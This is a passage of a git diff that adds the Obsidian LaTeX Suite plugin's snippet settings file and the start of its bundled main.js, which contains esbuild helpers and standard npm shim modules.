\"\\\\hat{$0}$1\", options: \"mA\"},\n {trigger: \"bar\", replacement: \"\\\\bar{$0}$1\", options: \"mA\"},\n\t{trigger: \"dot\", replacement: \"\\\\dot{$0}$1\", options: \"mA\", priority: -1},\n\t{trigger: \"ddot\", replacement: \"\\\\ddot{$0}$1\", options: \"mA\"},\n\t{trigger: \"cdot\", replacement: \"\\\\cdot\", options: \"mA\"},\n\t{trigger: \"tilde\", replacement: \"\\\\tilde{$0}$1\", options: \"mA\"},\n\t{trigger: \"und\", replacement: \"\\\\underline{$0}$1\", options: \"mA\"},\n\t{trigger: \"vec\", replacement: \"\\\\vec{$0}$1\", options: \"mA\"},\n\n // More auto letter subscript\n {trigger: /([A-Za-z])_(\\d\\d)/, replacement: \"[[0]]_{[[1]]}\", options: \"rmA\"},\n\t{trigger: /\\\\hat{([A-Za-z])}(\\d)/, replacement: \"\\\\hat{[[0]]}_{[[1]]}\", options: \"rmA\"},\n\t{trigger: /\\\\vec{([A-Za-z])}(\\d)/, replacement: \"\\\\vec{[[0]]}_{[[1]]}\", options: \"rmA\"},\n\t{trigger: /\\\\mathbf{([A-Za-z])}(\\d)/, replacement: \"\\\\mathbf{[[0]]}_{[[1]]}\", options: \"rmA\"},\n\n {trigger: \"xnn\", replacement: \"x_{n}\", options: \"mA\"},\n\t{trigger: \"\\\\xii\", replacement: \"x_{i}\", options: \"mA\", priority: 1},\n\t{trigger: \"xjj\", replacement: \"x_{j}\", options: \"mA\"},\n\t{trigger: \"xp1\", replacement: \"x_{n+1}\", options: \"mA\"},\n\t{trigger: \"ynn\", replacement: \"y_{n}\", options: \"mA\"},\n\t{trigger: \"yii\", replacement: \"y_{i}\", options: \"mA\"},\n\t{trigger: \"yjj\", replacement: \"y_{j}\", options: \"mA\"},\n\n // Symbols\n {trigger: \"ooo\", replacement: \"\\\\infty\", options: \"mA\"},\n\t{trigger: \"sum\", replacement: \"\\\\sum\", options: \"mA\"},\n\t{trigger: \"prod\", replacement: \"\\\\prod\", options: \"mA\"},\n\t{trigger: \"\\\\sum\", replacement: \"\\\\sum_{${0:i}=${1:1}}^{${2:N}} $3\", options: \"m\"},\n\t{trigger: \"\\\\prod\", replacement: \"\\\\prod_{${0:i}=${1:1}}^{${2:N}} $3\", options: \"m\"},\n {trigger: \"lim\", replacement: \"\\\\lim_{ ${0:n} \\\\to ${1:\\\\infty} } $2\", options: \"mA\"},\n {trigger: \"+-\", replacement: \"\\\\pm\", options: \"mA\"},\n\t{trigger: \"-+\", replacement: \"\\\\mp\", options: \"mA\"},\n {trigger: \"...\", replacement: \"\\\\dots\", options: \"mA\"},\n {trigger: \"nabl\", replacement: \"\\\\nabla\", options: \"mA\"},\n\t{trigger: \"del\", replacement: \"\\\\nabla\", options: \"mA\"},\n {trigger: \"xx\", replacement: \"\\\\times\", options: \"mA\"},\n {trigger: \"**\", replacement: \"\\\\cdot\", options: \"mA\"},\n {trigger: \"para\", replacement: \"\\\\parallel\", options: \"mA\"},\n\n\t{trigger: \"===\", replacement: \"\\\\equiv\", options: \"mA\"},\n {trigger: \"!=\", replacement: \"\\\\neq\", options: \"mA\"},\n\t{trigger: \">=\", replacement: \"\\\\geq\", options: \"mA\"},\n\t{trigger: \"<=\", replacement: \"\\\\leq\", options: \"mA\"},\n\t{trigger: \">>\", replacement: \"\\\\gg\", options: \"mA\"},\n\t{trigger: \"<<\", replacement: \"\\\\ll\", options: \"mA\"},\n\t{trigger: \"simm\", replacement: \"\\\\sim\", options: \"mA\"},\n\t{trigger: \"sim=\", replacement: \"\\\\simeq\", options: \"mA\"},\n {trigger: \"prop\", replacement: \"\\\\propto\", options: \"mA\"},\n\n\n {trigger: \"<->\", replacement: \"\\\\leftrightarrow \", options: \"mA\"},\n\t{trigger: \"->\", replacement: \"\\\\to\", options: \"mA\"},\n\t{trigger: \"!>\", replacement: \"\\\\mapsto\", options: \"mA\"},\n {trigger: \"=>\", replacement: \"\\\\implies\", options: \"mA\"},\n\t{trigger: \"=<\", replacement: \"\\\\impliedby\", options: \"mA\"},\n\n\t{trigger: \"and\", replacement: \"\\\\cap\", options: \"mA\"},\n\t{trigger: \"orr\", replacement: \"\\\\cup\", options: \"mA\"},\n\t{trigger: \"inn\", replacement: \"\\\\in\", options: \"mA\"},\n\t{trigger: \"notin\", replacement: \"\\\\not\\\\in\", options: \"mA\"},\n {trigger: \"\\\\\\\\\\\\\", replacement: \"\\\\setminus\", options: \"mA\"},\n {trigger: \"sub=\", replacement: \"\\\\subseteq\", options: \"mA\"},\n {trigger: \"sup=\", replacement: \"\\\\supseteq\", options: \"mA\"},\n\t{trigger: \"eset\", replacement: \"\\\\emptyset\", options: \"mA\"},\n\t{trigger: \"set\", replacement: \"\\\\{ $0 \\\\}$1\", options: \"mA\"},\n\t{trigger: \"e\\\\xi sts\", replacement: \"\\\\exists\", options: \"mA\", priority: 1},\n\n\t{trigger: \"LL\", replacement: \"\\\\mathcal{L}\", options: \"mA\"},\n\t{trigger: \"HH\", replacement: \"\\\\mathcal{H}\", options: \"mA\"},\n\t{trigger: \"CC\", replacement: \"\\\\mathbb{C}\", options: \"mA\"},\n\t{trigger: \"RR\", replacement: \"\\\\mathbb{R}\", options: \"mA\"},\n\t{trigger: \"ZZ\", replacement: \"\\\\mathbb{Z}\", options: \"mA\"},\n\t{trigger: \"NN\", replacement: \"\\\\mathbb{N}\", options: \"mA\"},\n\n // Handle spaces and backslashes\n\n // Snippet variables can be used as shortcuts when writing snippets.\n // For example, ${GREEK} below is shorthand for \"alpha|beta|gamma|Gamma|delta|...\"\n // You can edit snippet variables under the Advanced snippet settings section.\n\n\t{trigger: \"([^\\\\\\\\])(${GREEK})\", replacement: \"[[0]]\\\\[[1]]\", options: \"rmA\", description: \"Add backslash before Greek letters\"},\n\t{trigger: \"([^\\\\\\\\])(${SYMBOL})\", replacement: \"[[0]]\\\\[[1]]\", options: \"rmA\", description: \"Add backslash before symbols\"},\n\n // Insert space after Greek letters and symbols\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}|${MORE_SYMBOLS})([A-Za-z])\", replacement: \"\\\\[[0]] [[1]]\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) sr\", replacement: \"\\\\[[0]]^{2}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) cb\", replacement: \"\\\\[[0]]^{3}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) rd\", replacement: \"\\\\[[0]]^{$0}$1\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) hat\", replacement: \"\\\\hat{\\\\[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) dot\", replacement: \"\\\\dot{\\\\[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) bar\", replacement: \"\\\\bar{\\\\[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) vec\", replacement: \"\\\\vec{\\\\[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) tilde\", replacement: \"\\\\tilde{\\\\[[0]]}\", options: \"rmA\"},\n\t{trigger: \"\\\\\\\\(${GREEK}|${SYMBOL}) und\", replacement: \"\\\\underline{\\\\[[0]]}\", options: \"rmA\"},\n\n\n // Derivatives and integrals\n {trigger: \"par\", replacement: \"\\\\frac{ \\\\partial ${0:y} }{ \\\\partial ${1:x} } $2\", options: \"m\"},\n {trigger: /pa([A-Za-z])([A-Za-z])/, replacement: \"\\\\frac{ \\\\partial [[0]] }{ \\\\partial [[1]] } \", options: \"rm\"},\n {trigger: \"ddt\", replacement: \"\\\\frac{d}{dt} \", options: \"mA\"},\n\n {trigger: /([^\\\\])int/, replacement: \"[[0]]\\\\int\", options: \"mA\", priority: -1},\n {trigger: \"\\\\int\", replacement: \"\\\\int $0 \\\\, d${1:x} $2\", options: \"m\"},\n {trigger: \"dint\", replacement: \"\\\\int_{${0:0}}^{${1:1}} $2 \\\\, d${3:x} $4\", options: \"mA\"},\n {trigger: \"oint\", replacement: \"\\\\oint\", options: \"mA\"},\n\t{trigger: \"iint\", replacement: \"\\\\iint\", options: \"mA\"},\n {trigger: \"iiint\", replacement: \"\\\\iiint\", options: \"mA\"},\n {trigger: \"oinf\", replacement: \"\\\\int_{0}^{\\\\infty} $0 \\\\, d${1:x} $2\", options: \"mA\"},\n\t{trigger: \"infi\", replacement: \"\\\\int_{-\\\\infty}^{\\\\infty} $0 \\\\, d${1:x} $2\", options: \"mA\"},\n\n\n // Trigonometry\n {trigger: /([^\\\\])(arcsin|sin|arccos|cos|arctan|tan|csc|sec|cot)/, replacement: \"[[0]]\\\\[[1]]\", options: \"rmA\", description: \"Add backslash before trig funcs\"},\n\n {trigger: /\\\\(arcsin|sin|arccos|cos|arctan|tan|csc|sec|cot)([A-Za-gi-z])/,\n replacement: \"\\\\[[0]] [[1]]\", options: \"rmA\",\n description: \"Add space after trig funcs. Skips letter h to allow sinh, cosh, etc.\"},\n\n {trigger: /\\\\(sinh|cosh|tanh|coth)([A-Za-z])/,\n replacement: \"\\\\[[0]] [[1]]\", options: \"rmA\",\n description: \"Add space after hyperbolic trig funcs\"},\n\n\n // Visual operations\n\t{trigger: \"U\", replacement: \"\\\\underbrace{ ${VISUAL} }_{ $0 }\", options: \"mA\"},\n\t{trigger: \"O\", replacement: \"\\\\overbrace{ ${VISUAL} }^{ $0 }\", options: \"mA\"},\n\t{trigger: \"B\", replacement: \"\\\\underset{ $0 }{ ${VISUAL} }\", options: \"mA\"},\n\t{trigger: \"C\", replacement: \"\\\\cancel{ ${VISUAL} }\", options: \"mA\"},\n\t{trigger: \"K\", replacement: \"\\\\cancelto{ $0 }{ ${VISUAL} }\", options: \"mA\"},\n\t{trigger: \"S\", replacement: \"\\\\sqrt{ ${VISUAL} }\", options: \"mA\"},\n\n\n // Physics\n\t{trigger: \"kbt\", replacement: \"k_{B}T\", options: \"mA\"},\n\t{trigger: \"msun\", replacement: \"M_{\\\\odot}\", options: \"mA\"},\n\n // Quantum mechanics\n {trigger: \"dag\", replacement: \"^{\\\\dagger}\", options: \"mA\"},\n\t{trigger: \"o+\", replacement: \"\\\\oplus \", options: \"mA\"},\n\t{trigger: \"ox\", replacement: \"\\\\otimes \", options: \"mA\"},\n {trigger: \"bra\", replacement: \"\\\\bra{$0} $1\", options: \"mA\"},\n\t{trigger: \"ket\", replacement: \"\\\\ket{$0} $1\", options: \"mA\"},\n\t{trigger: \"brk\", replacement: \"\\\\braket{ $0 | $1 } $2\", options: \"mA\"},\n {trigger: \"outer\", replacement: \"\\\\ket{${0:\\\\psi}} \\\\bra{${0:\\\\psi}} $1\", options: \"mA\"},\n\n // Chemistry\n\t{trigger: \"pu\", replacement: \"\\\\pu{ $0 }\", options: \"mA\"},\n\t{trigger: \"cee\", replacement: \"\\\\ce{ $0 }\", options: \"mA\"},\n\t{trigger: \"he4\", replacement: \"{}^{4}_{2}He \", options: \"mA\"},\n\t{trigger: \"he3\", replacement: \"{}^{3}_{2}He \", options: \"mA\"},\n\t{trigger: \"iso\", replacement: \"{}^{${0:4}}_{${1:2}}${2:He}\", options: \"mA\"},\n\n\n // Environments\n\t{trigger: \"pmat\", replacement: \"\\\\begin{pmatrix}\\n$0\\n\\\\end{pmatrix}\", options: \"MA\"},\n\t{trigger: \"bmat\", replacement: \"\\\\begin{bmatrix}\\n$0\\n\\\\end{bmatrix}\", options: \"MA\"},\n\t{trigger: \"Bmat\", replacement: \"\\\\begin{Bmatrix}\\n$0\\n\\\\end{Bmatrix}\", options: \"MA\"},\n\t{trigger: \"vmat\", replacement: \"\\\\begin{vmatrix}\\n$0\\n\\\\end{vmatrix}\", options: \"MA\"},\n\t{trigger: \"Vmat\", replacement: \"\\\\begin{Vmatrix}\\n$0\\n\\\\end{Vmatrix}\", options: \"MA\"},\n\t{trigger: \"matrix\", replacement: \"\\\\begin{matrix}\\n$0\\n\\\\end{matrix}\", options: \"MA\"},\n\n\t{trigger: \"pmat\", replacement: \"\\\\begin{pmatrix}$0\\\\end{pmatrix}\", options: \"nA\"},\n\t{trigger: \"bmat\", replacement: \"\\\\begin{bmatrix}$0\\\\end{bmatrix}\", options: \"nA\"},\n\t{trigger: \"Bmat\", replacement: \"\\\\begin{Bmatrix}$0\\\\end{Bmatrix}\", options: \"nA\"},\n\t{trigger: \"vmat\", replacement: \"\\\\begin{vmatrix}$0\\\\end{vmatrix}\", options: \"nA\"},\n\t{trigger: \"Vmat\", replacement: \"\\\\begin{Vmatrix}$0\\\\end{Vmatrix}\", options: \"nA\"},\n\t{trigger: \"matrix\", replacement: \"\\\\begin{matrix}$0\\\\end{matrix}\", options: \"nA\"},\n\n\t{trigger: \"cases\", replacement: \"\\\\begin{cases}\\n$0\\n\\\\end{cases}\", options: \"mA\"},\n\t{trigger: \"align\", replacement: \"\\\\begin{align}\\n$0\\n\\\\end{align}\", options: \"mA\"},\n\t{trigger: \"array\", replacement: \"\\\\begin{array}\\n$0\\n\\\\end{array}\", options: \"mA\"},\n\n\n // Brackets\n\t{trigger: \"avg\", replacement: \"\\\\langle $0 \\\\rangle $1\", options: \"mA\"},\n\t{trigger: \"norm\", replacement: \"\\\\lvert $0 \\\\rvert $1\", options: \"mA\", priority: 1},\n\t{trigger: \"Norm\", replacement: \"\\\\lVert $0 \\\\rVert $1\", options: \"mA\", priority: 1},\n\t{trigger: \"ceil\", replacement: \"\\\\lceil $0 \\\\rceil $1\", options: \"mA\"},\n\t{trigger: \"floor\", replacement: \"\\\\lfloor $0 \\\\rfloor $1\", options: \"mA\"},\n\t{trigger: \"mod\", replacement: \"|$0|$1\", options: \"mA\"},\n\t{trigger: \"(\", replacement: \"(${VISUAL})\", options: \"mA\"},\n\t{trigger: \"[\", replacement: \"[${VISUAL}]\", options: \"mA\"},\n\t{trigger: \"{\", replacement: \"{${VISUAL}}\", options: \"mA\"},\n\t{trigger: \"(\", replacement: \"($0)$1\", options: \"mA\"},\n\t{trigger: \"{\", replacement: \"{$0}$1\", options: \"mA\"},\n\t{trigger: \"[\", replacement: \"[$0]$1\", options: \"mA\"},\n\t{trigger: \"lr(\", replacement: \"\\\\left( $0 \\\\right) $1\", options: \"mA\"},\n\t{trigger: \"lr{\", replacement: \"\\\\left\\\\{ $0 \\\\right\\\\} $1\", options: \"mA\"},\n\t{trigger: \"lr[\", replacement: \"\\\\left[ $0 \\\\right] $1\", options: \"mA\"},\n\t{trigger: \"lr|\", replacement: \"\\\\left| $0 \\\\right| $1\", options: \"mA\"},\n\t{trigger: \"lra\", replacement: \"\\\\left< $0 \\\\right> $1\", options: \"mA\"},\n\n\n // Misc\n\n // Automatically convert standalone letters in text to math (except a, A, I).\n // (Un-comment to enable)\n // {trigger: /([^'])\\b([B-HJ-Zb-z])\\b([\\n\\s.,?!:'])/, replacement: \"[[0]]$[[1]]$[[2]]\", options: \"tA\"},\n\n // Automatically convert Greek letters in text to math.\n // {trigger: \"(${GREEK})([\\\\n\\\\s.,?!:'])\", replacement: \"$\\\\[[0]]$[[1]]\", options: \"rtAw\"},\n\n // Automatically convert text of the form \"x=2\" and \"x=n+1\" to math.\n // {trigger: /([A-Za-z]=\\d+)([\\n\\s.,?!:'])/, replacement: \"$[[0]]$[[1]]\", options: \"rtAw\"},\n // {trigger: /([A-Za-z]=[A-Za-z][+-]\\d+)([\\n\\s.,?!:'])/, replacement: \"$[[0]]$[[1]]\", options: \"tAw\"},\n\n\n // Snippet replacements can have placeholders.\n\t{trigger: \"tayl\", replacement: \"${0:f}(${1:x} + ${2:h}) = ${0:f}(${1:x}) + ${0:f}'(${1:x})${2:h} + ${0:f}''(${1:x}) \\\\frac{${2:h}^{2}}{2!} + \\\\dots$3\", options: \"mA\", description: \"Taylor expansion\"},\n\n // Snippet replacements can also be JavaScript functions.\n // See the documentation for more information.\n\t{trigger: /iden(\\d)/, replacement: (match) => {\n\t\tconst n = match[1];\n\n\t\tlet arr = [];\n\t\tfor (let j = 0; j < n; j++) {\n\t\t\tarr[j] = [];\n\t\t\tfor (let i = 0; i < n; i++) {\n\t\t\t\tarr[j][i] = (i === j) ? 1 : 0;\n\t\t\t}\n\t\t}\n\n\t\tlet output = arr.map(el => el.join(\" & \")).join(\" \\\\\\\\\\n\");\n\t\toutput = `\\\\begin{pmatrix}\\n${output}\\n\\\\end{pmatrix}`;\n\t\treturn output;\n\t}, options: \"mA\", description: \"N x N identity matrix\"},\n]", + "snippetVariables": "{\n\t\"${GREEK}\": \"alpha|beta|gamma|Gamma|delta|Delta|epsilon|varepsilon|zeta|eta|theta|vartheta|Theta|iota|kappa|lambda|Lambda|mu|nu|xi|omicron|pi|rho|varrho|sigma|Sigma|tau|upsilon|Upsilon|phi|varphi|Phi|chi|psi|omega|Omega\",\n\t\"${SYMBOL}\": \"parallel|perp|partial|nabla|hbar|ell|infty|oplus|ominus|otimes|oslash|square|star|dagger|vee|wedge|subseteq|subset|supseteq|supset|emptyset|exists|nexists|forall|implies|impliedby|iff|setminus|neg|lor|land|bigcup|bigcap|cdot|times|simeq|approx\",\n\t\"${MORE_SYMBOLS}\": \"leq|geq|neq|gg|ll|equiv|sim|propto|rightarrow|leftarrow|Rightarrow|Leftarrow|leftrightarrow|to|mapsto|cap|cup|in|sum|prod|exp|ln|log|det|dots|vdots|ddots|pm|mp|int|iint|iiint|oint\"\n}\n", + "snippetsEnabled": true, + "snippetsTrigger": "Tab", + "suppressSnippetTriggerOnIME": true, + "removeSnippetWhitespace": true, + "autoDelete$": true, + "loadSnippetsFromFile": false, + "loadSnippetVariablesFromFile": false, + "snippetsFileLocation": "", + "snippetVariablesFileLocation": "", + "concealEnabled": false, + "concealRevealTimeout": 0, + "colorPairedBracketsEnabled": true, + "highlightCursorBracketsEnabled": true, + "mathPreviewEnabled": true, + "mathPreviewPositionIsAbove": true, + "autofractionEnabled": true, + "autofractionSymbol": "\\frac", + "autofractionBreakingChars": "+-=\t", + "matrixShortcutsEnabled": true, + "taboutEnabled": true, + "autoEnlargeBrackets": true, + "wordDelimiters": "., +-\\n\t:;!?\\/{}[]()=~$", + "autofractionExcludedEnvs": "[\n\t\t[\"^{\", \"}\"],\n\t\t[\"\\\\pu{\", \"}\"]\n\t]", + "matrixShortcutsEnvNames": "pmatrix, cases, align, gather, bmatrix, Bmatrix, vmatrix, Vmatrix, array, matrix", + "autoEnlargeBracketsTriggers": "sum, int, frac, prod, bigcup, bigcap", + "forceMathLanguages": "math" +} \ No newline at end of file diff --git a/.obsidian/plugins/obsidian-latex-suite/main.js b/.obsidian/plugins/obsidian-latex-suite/main.js new file mode 100755 index 0000000..6d8b039 --- /dev/null +++ b/.obsidian/plugins/obsidian-latex-suite/main.js @@ -0,0 +1,15605 @@ +/* +THIS IS A GENERATED/BUNDLED FILE BY ESBUILD +if you want to view the source, please visit the github repository of this plugin +*/ + +var __create = Object.create; +var __defProp = Object.defineProperty; +var __defProps = Object.defineProperties; +var __getOwnPropDesc = Object.getOwnPropertyDescriptor; +var __getOwnPropDescs = Object.getOwnPropertyDescriptors; +var __getOwnPropNames = Object.getOwnPropertyNames; +var __getOwnPropSymbols = Object.getOwnPropertySymbols; +var __getProtoOf = Object.getPrototypeOf; +var __hasOwnProp = Object.prototype.hasOwnProperty; +var __propIsEnum = Object.prototype.propertyIsEnumerable; +var __knownSymbol = (name, symbol) => { + return (symbol = Symbol[name]) ? symbol : Symbol.for("Symbol." + name); +}; +var __defNormalProp = (obj, key, value) => key in obj ? __defProp(obj, key, { enumerable: true, configurable: true, writable: true, value }) : obj[key] = value; +var __spreadValues = (a, b) => { + for (var prop in b || (b = {})) + if (__hasOwnProp.call(b, prop)) + __defNormalProp(a, prop, b[prop]); + if (__getOwnPropSymbols) + for (var prop of __getOwnPropSymbols(b)) { + if (__propIsEnum.call(b, prop)) + __defNormalProp(a, prop, b[prop]); + } + return a; +}; +var __spreadProps = (a, b) => __defProps(a, __getOwnPropDescs(b)); +var __commonJS = (cb, mod) => function __require() { + return mod || (0, cb[__getOwnPropNames(cb)[0]])((mod = { exports: {} }).exports, mod), mod.exports; +}; +var __export = (target, all) => { + for (var name in all) + __defProp(target, name, { get: all[name], enumerable: true }); +}; +var __copyProps = (to, from, except, desc) => { + if (from && typeof from === "object" || typeof from === "function") { + for (let key of __getOwnPropNames(from)) + if (!__hasOwnProp.call(to, key) && key !== except) + __defProp(to, key, { get: () => from[key], enumerable: !(desc = __getOwnPropDesc(from, key)) || desc.enumerable }); + } + return to; +}; +var __toESM = (mod, isNodeMode, target) => (target = mod != null ? __create(__getProtoOf(mod)) : {}, __copyProps( + // If the importer is in node compatibility mode or this is not an ESM + // file that has been converted to a CommonJS file using a Babel- + // compatible transform (i.e. "__esModule" has not been set), then set + // "default" to the CommonJS "module.exports" for node compatibility. + isNodeMode || !mod || !mod.__esModule ? __defProp(target, "default", { value: mod, enumerable: true }) : target, + mod +)); +var __toCommonJS = (mod) => __copyProps(__defProp({}, "__esModule", { value: true }), mod); +var __publicField = (obj, key, value) => { + __defNormalProp(obj, typeof key !== "symbol" ? key + "" : key, value); + return value; +}; +var __async = (__this, __arguments, generator) => { + return new Promise((resolve, reject) => { + var fulfilled = (value) => { + try { + step(generator.next(value)); + } catch (e) { + reject(e); + } + }; + var rejected = (value) => { + try { + step(generator.throw(value)); + } catch (e) { + reject(e); + } + }; + var step = (x) => x.done ? resolve(x.value) : Promise.resolve(x.value).then(fulfilled, rejected); + step((generator = generator.apply(__this, __arguments)).next()); + }); +}; +var __await = function(promise, isYieldStar) { + this[0] = promise; + this[1] = isYieldStar; +}; +var __yieldStar = (value) => { + var obj = value[__knownSymbol("asyncIterator")]; + var isAwait = false; + var method; + var it = {}; + if (obj == null) { + obj = value[__knownSymbol("iterator")](); + method = (k) => it[k] = (x) => obj[k](x); + } else { + obj = obj.call(value); + method = (k) => it[k] = (v) => { + if (isAwait) { + isAwait = false; + if (k === "throw") + throw v; + return v; + } + isAwait = true; + return { + done: false, + value: new __await(new Promise((resolve) => { + var x = obj[k](v); + if (!(x instanceof Object)) + throw TypeError("Object expected"); + resolve(x); + }), 1) + }; + }; + } + return it[__knownSymbol("iterator")] = () => it, method("next"), "throw" in obj ? method("throw") : it.throw = (x) => { + throw x; + }, "return" in obj && method("return"), it; +}; + +// node_modules/function-bind/implementation.js +var require_implementation = __commonJS({ + "node_modules/function-bind/implementation.js"(exports, module2) { + "use strict"; + var ERROR_MESSAGE = "Function.prototype.bind called on incompatible "; + var toStr = Object.prototype.toString; + var max2 = Math.max; + var funcType = "[object Function]"; + var concatty = function concatty2(a, b) { + var arr = []; + for (var i = 0; i < a.length; i += 1) { + arr[i] = a[i]; + } + for (var j = 0; j < b.length; j += 1) { + arr[j + a.length] = b[j]; + } + return arr; + }; + var slicy = function slicy2(arrLike, offset2) { + var arr = []; + for (var i = offset2 || 0, j = 0; i < arrLike.length; i += 1, j += 1) { + arr[j] = arrLike[i]; + } + return arr; + }; + var joiny = function(arr, joiner) { + var str = ""; + for (var i = 0; i < arr.length; i += 1) { + str += arr[i]; + if (i + 1 < arr.length) { + str += joiner; + } + } + return str; + }; + module2.exports = function bind(that) { + var target = this; + if (typeof target !== "function" || toStr.apply(target) !== funcType) { + throw new TypeError(ERROR_MESSAGE + target); + } + var args = slicy(arguments, 1); + var bound; + var binder = function() { + if (this instanceof bound) { + var result = target.apply( + this, + concatty(args, arguments) + ); + if (Object(result) === result) { + return result; + } + return this; + } + return target.apply( + that, + concatty(args, arguments) + ); + }; + var boundLength = max2(0, target.length - args.length); + var boundArgs = []; + for (var i = 0; i < boundLength; i++) { + boundArgs[i] = "$" + i; + } + bound = Function("binder", "return function (" + joiny(boundArgs, ",") + "){ return binder.apply(this,arguments); }")(binder); + if (target.prototype) { + var Empty = function Empty2() { + }; + Empty.prototype = target.prototype; + bound.prototype = new Empty(); + Empty.prototype = null; + } + return bound; + }; + } +}); + +// node_modules/function-bind/index.js +var require_function_bind = __commonJS({ + "node_modules/function-bind/index.js"(exports, module2) { + "use strict"; + var implementation = require_implementation(); + module2.exports = Function.prototype.bind || implementation; + } +}); + +// node_modules/es-errors/index.js +var require_es_errors = __commonJS({ + "node_modules/es-errors/index.js"(exports, module2) { + "use strict"; + module2.exports = Error; + } +}); + +// node_modules/es-errors/eval.js +var require_eval = __commonJS({ + "node_modules/es-errors/eval.js"(exports, module2) { + "use strict"; + module2.exports = EvalError; + } +}); + +// node_modules/es-errors/range.js +var require_range = __commonJS({ + "node_modules/es-errors/range.js"(exports, module2) { + "use strict"; + module2.exports = RangeError; + } +}); + +// node_modules/es-errors/ref.js +var require_ref = __commonJS({ + "node_modules/es-errors/ref.js"(exports, module2) { + "use strict"; + module2.exports = ReferenceError; + } +}); + +// node_modules/es-errors/syntax.js +var require_syntax = __commonJS({ + "node_modules/es-errors/syntax.js"(exports, module2) { + "use strict"; + module2.exports = SyntaxError; + } +}); + +// node_modules/es-errors/type.js +var require_type = __commonJS({ + "node_modules/es-errors/type.js"(exports, module2) { + "use strict"; + module2.exports = TypeError; + } +}); + +// node_modules/es-errors/uri.js +var require_uri = __commonJS({ + "node_modules/es-errors/uri.js"(exports, module2) { + "use strict"; + module2.exports = URIError; + } +}); + +// node_modules/has-symbols/shams.js +var require_shams = __commonJS({ + "node_modules/has-symbols/shams.js"(exports, module2) { + "use strict"; + module2.exports = function hasSymbols() { + if (typeof Symbol !== "function" || typeof Object.getOwnPropertySymbols !== "function") { + return false; + } + if (typeof Symbol.iterator === "symbol") { + return true; + } + var obj = {}; + var sym = Symbol("test"); + var symObj = Object(sym); + if (typeof sym === "string") { + return false; + } + if (Object.prototype.toString.call(sym) !== "[object Symbol]") { + return false; + } + if (Object.prototype.toString.call(symObj) !== "[object Symbol]") { + return false; + } + var symVal = 42; + obj[sym] = symVal; + for (sym in obj) { + return false; + } + if (typeof Object.keys === "function" && Object.keys(obj).length !== 0) { + return false; + } + if (typeof Object.getOwnPropertyNames === "function" && Object.getOwnPropertyNames(obj).length !== 0) { + return false; + } + var syms = Object.getOwnPropertySymbols(obj); + if (syms.length !== 1 || syms[0] !== sym) { + return false; + } + if (!Object.prototype.propertyIsEnumerable.call(obj, sym)) { + return false; + } + if (typeof Object.getOwnPropertyDescriptor === "function") { + var descriptor = Object.getOwnPropertyDescriptor(obj, sym); + if (descriptor.value !== symVal || descriptor.enumerable !== true) { + return false; + } + } + return true; + }; + } +}); + +// node_modules/has-symbols/index.js +var require_has_symbols = __commonJS({ + "node_modules/has-symbols/index.js"(exports, module2) { + "use strict"; + var origSymbol = typeof Symbol !== "undefined" && Symbol; + var hasSymbolSham = require_shams(); + module2.exports = function hasNativeSymbols() { + if (typeof origSymbol !== "function") { + return false; + } + if (typeof Symbol !== "function") { + return false; + } + if (typeof origSymbol("foo") !== "symbol") { + return false; + } + if (typeof Symbol("bar") !== "symbol") { + return false; + } + return hasSymbolSham(); + }; + } +}); + +// node_modules/has-proto/index.js +var require_has_proto = __commonJS({ + "node_modules/has-proto/index.js"(exports, module2) { + "use strict"; + var test = { + __proto__: null, + foo: {} + }; + var $Object = Object; + module2.exports = function hasProto() { + return { __proto__: test }.foo === test.foo && !(test instanceof $Object); + }; + } +}); + +// node_modules/hasown/index.js +var require_hasown = __commonJS({ + "node_modules/hasown/index.js"(exports, module2) { + "use strict"; + var call = Function.prototype.call; + var $hasOwn = Object.prototype.hasOwnProperty; + var bind = require_function_bind(); + module2.exports = bind.call(call, $hasOwn); + } +}); + +// node_modules/get-intrinsic/index.js +var require_get_intrinsic = __commonJS({ + "node_modules/get-intrinsic/index.js"(exports, module2) { + "use strict"; + var undefined2; + var $Error = require_es_errors(); + var $EvalError = require_eval(); + var $RangeError = require_range(); + var $ReferenceError = require_ref(); + var $SyntaxError = require_syntax(); + var $TypeError = require_type(); + var $URIError = require_uri(); + var $Function = Function; + var getEvalledConstructor = function(expressionSyntax) { + try { + return $Function('"use strict"; return (' + expressionSyntax + ").constructor;")(); + } catch (e) { + } + }; + var $gOPD = Object.getOwnPropertyDescriptor; + if ($gOPD) { + try { + $gOPD({}, ""); + } catch (e) { + $gOPD = null; + } + } + var throwTypeError = function() { + throw new $TypeError(); + }; + var ThrowTypeError = $gOPD ? function() { + try { + arguments.callee; + return throwTypeError; + } catch (calleeThrows) { + try { + return $gOPD(arguments, "callee").get; + } catch (gOPDthrows) { + return throwTypeError; + } + } + }() : throwTypeError; + var hasSymbols = require_has_symbols()(); + var hasProto = require_has_proto()(); + var getProto = Object.getPrototypeOf || (hasProto ? function(x) { + return x.__proto__; + } : null); + var needsEval = {}; + var TypedArray = typeof Uint8Array === "undefined" || !getProto ? undefined2 : getProto(Uint8Array); + var INTRINSICS = { + __proto__: null, + "%AggregateError%": typeof AggregateError === "undefined" ? undefined2 : AggregateError, + "%Array%": Array, + "%ArrayBuffer%": typeof ArrayBuffer === "undefined" ? undefined2 : ArrayBuffer, + "%ArrayIteratorPrototype%": hasSymbols && getProto ? getProto([][Symbol.iterator]()) : undefined2, + "%AsyncFromSyncIteratorPrototype%": undefined2, + "%AsyncFunction%": needsEval, + "%AsyncGenerator%": needsEval, + "%AsyncGeneratorFunction%": needsEval, + "%AsyncIteratorPrototype%": needsEval, + "%Atomics%": typeof Atomics === "undefined" ? undefined2 : Atomics, + "%BigInt%": typeof BigInt === "undefined" ? undefined2 : BigInt, + "%BigInt64Array%": typeof BigInt64Array === "undefined" ? undefined2 : BigInt64Array, + "%BigUint64Array%": typeof BigUint64Array === "undefined" ? undefined2 : 